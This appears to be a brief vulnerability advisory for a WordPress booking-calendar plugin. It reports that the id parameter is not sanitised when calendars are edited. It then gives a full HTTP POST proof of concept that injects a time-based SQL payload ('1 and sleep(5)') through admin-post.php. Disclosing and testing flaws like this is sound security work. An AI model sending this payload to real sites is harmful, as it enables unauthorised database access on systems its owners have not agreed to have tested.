The plugin does not sanitise and escape the id parameter when editing Calendars, which could allow high privilege users such as admin to perform SQL injection attacks
Edit an existing Seasons & Calendars (/wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars) and tamper the id parameter
POST /wp-admin/admin-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Origin: http://192.168.9.32
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
action=abc_booking_editCalendar&id=1+and+sleep(5)&name=test&maxAvailabilities=1&maxUnits=5&pricePreset=9000&minimumStayPreset=1&partlyBooked=1&page_id=0&infotext=